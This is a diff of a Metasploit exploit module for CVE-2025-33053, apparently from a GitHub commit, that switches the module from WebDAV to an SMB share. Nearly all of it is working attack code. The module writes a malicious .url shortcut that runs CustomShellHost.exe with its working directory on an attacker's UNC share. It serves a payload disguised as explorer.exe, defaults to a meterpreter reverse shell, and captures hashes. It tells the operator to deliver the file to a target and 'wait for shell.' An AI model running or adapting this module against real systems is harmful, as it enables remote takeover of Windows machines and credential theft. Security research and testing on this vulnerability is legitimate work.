66class MetasploitModule < Msf ::Exploit ::Remote
77 Rank = NormalRanking
88
9- include Msf ::Exploit ::Remote ::HttpServer
9+ include Msf ::Exploit ::Remote ::SMB ::Server ::Share
10+ include Msf ::Exploit ::Remote ::SMB ::Server ::HashCapture
1011 include Msf ::Exploit ::FILEFORMAT
12+ include Msf ::Exploit ::EXE
1113
1214 def initialize ( info = { } )
1315 super (
@@ -34,94 +36,69 @@ def initialize(info = {})
3436 [ 'URL' , 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept' ]
3537 ] ,
3638 'Platform' => 'win' ,
37- 'Arch' => ARCH_X64 ,
39+ 'Arch' => [ ARCH_X64 , ARCH_X86 , ARCH_AARCH64 ] ,
40+ 'Passive' => true ,
3841 'Targets' => [ [ 'Windows (generic)' , { } ] ] ,
42+ 'DefaultOptions' => {
43+ 'FOLDER_NAME' => 'webdav' ,
44+ 'FILE_NAME' => 'explorer.exe' ,
45+ 'DisablePayloadHandler' => false ,
46+ 'Payload' => 'windows/x64/meterpreter/reverse_tcp'
47+ } ,
3948 'DefaultTarget' => 0 ,
4049 'Notes' => {
4150 'Stability' => [ CRASH_SAFE ] ,
42- 'SideEffects' => [ ARTIFACTS_ON_DISK ] ,
51+ 'SideEffects' => [ IOC_IN_LOGS ] ,
4352 'Reliability' => [ REPEATABLE_SESSION ]
4453 }
4554 )
4655 )
4756
4857 register_options (
4958 [
50- OptString . new ( 'URIPATH' , [ true , 'The URI to use (do not change)' , '/' ] ) ,
51- OptString . new ( 'OUTFILE' , [ true , 'Output URL file name' , 'bait.url' ] ) ,
52- OptString . new ( 'PAYLOAD_NAME' , [ true , 'Output payload file name' , 'route.exe' ] ) ,
53- OptString . new ( 'PAYLOAD' , [ true , 'Payload to generate' , 'windows/x64/meterpreter/reverse_tcp' ] ) ,
54- OptBool . new ( 'GEN_PAYLOAD' , [ true , 'Generate payload and move to WebDAV directory' , true ] ) ,
55- OptString . new ( 'WEBDAV_DIR' , [ true , 'WebDAV directory path' , '/var/www/webdav' ] )
59+ OptString . new ( 'OUTFILE' , [ false , 'Output URL file name' , '' ] ) ,
5660 ] , self . class
5761 )
58- register_advanced_options (
59- [
60- OptString . new ( 'LOLBAS_EXE' ,
61- [ true , 'Path to trusted binary (LOLBAS)' , 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe' ] ) ,
62- OptString . new ( 'ICON_PATH' ,
63- [ true , 'Icon file path' , 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe' ] ) ,
64- OptInt . new ( 'ICON_INDEX' , [ true , 'Icon index in icon file' , 13 ] ) ,
65- OptString . new ( 'MODIFIED_HEX' , [ true , 'Modified timestamp in hex' , '20F06BA06D07BD014D' ] )
66- ]
67- )
6862 end
6963
70- def on_request_uri ( cli , request )
71- print_status ( 'Got request' )
72- case request . method
73- when 'OPTIONS'
74- print_status ( '[+] Got OPTIONS request' )
75- process_options ( cli , request )
76- when 'PROPFIND'
77- print_status ( '[+] Got PROPFIND request' )
78- process_propfind ( cli , request )
79- when 'GET'
80- print_status ( '[+] Got GET request' )
81- process_get ( cli , request )
82- else
83- process_ignore ( cli , request )
84- end
64+ def exploit_remote_load
65+ start_service
66+ print_status ( 'The SMB service has been started.' )
67+
68+ self . file_contents = generate_payload_exe
8569 end
8670
87- def primer
88- webdav = '\\\\'
89- if datastore [ 'SSL' ]
90- if datastore [ 'SRVPORT' ] != 443
91- fail_with ( Failure ::BadConfig , 'SRVPORT must be 443' )
92- end
93- webdav = "#{ datastore [ 'SRVHOST' ] } @ssl"
94- else
95- webdav = "#{ datastore [ 'SRVHOST' ] } @#{ datastore [ 'SRVPORT' ] } "
71+ def exploit
72+ write_url_file
73+ exploit_remote_load
74+
75+ stime = Time . now . to_f
76+ timeout = datastore [ 'ListenerTimeout' ] . to_i
77+ loop do
78+ break if timeout > 0 && ( stime + timeout < Time . now . to_f )
79+
80+ Rex ::ThreadSafe . sleep ( 1 )
9681 end
97- webdav_unc = %(#{ webdav } \\ webdav\\ )
98- print_status ( "[+] WebDAV running at #{ webdav_unc } " )
99- write_url_file ( webdav_unc )
10082 end
10183
102- def write_url_file ( webdav_unc )
103- content = generate_url_content ( webdav_unc )
84+ def write_url_file
85+ content = generate_url_content
10486 outfile = %(#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .url)
10587 path = store_local ( 'webdav.url' , nil , content , outfile )
106- print_status ( "[+] URL file: #{ path } , deliver to target's machine" )
107- print_status ( "[+] Run following: curl http://#{ datastore [ 'SRVHOST' ] } :8080/#{ outfile } -o #{ outfile } " )
88+ print_status ( "URL file: #{ path } , deliver to target's machine and wait for shell" )
89+ # debug stuff
90+ # print_status("Run following: curl http://#{datastore['LHOST']}:8080/#{outfile} -o #{outfile}")
10891 end
10992
110- def generate_url_content ( webdav_unc )
93+ def generate_url_content
11194 <<~URLFILE
11295 [InternetShortcut]
113- URL=#{ datastore [ 'LOLBAS_EXE' ] }
114- WorkingDirectory=#{ webdav_unc }
96+ URL=C: \\ Windows \\ System32 \\ CustomShellHost.exe
97+ WorkingDirectory=\\ \\ #{ srvhost } \\ #{ share } \\ #{ folder_name } \\
11598 ShowCommand=7
116- IconIndex=#{ datastore [ 'ICON_INDEX' ] }
117- IconFile=#{ datastore [ 'ICON_PATH' ] }
118- Modified=#{ datastore [ 'MODIFIED_HEX' ] }
99+ IconIndex=13
100+ IconFile=C: \\ Program Files (x86) \\ Microsoft \\ Edge \\ Application \\ msedge.exe
101+ Modified=20F06BA06D07BD014D
119102 URLFILE
120103 end
121-
122- def return_error ( currentpath )
123- fail_with ( Failure ::NoAccess ,
124- "Cannot write to #{ currentpath } . Permission denied.\n " \
125- 'Try restarting Metasploit with root privilege.' )
126- end
127104end
0 commit comments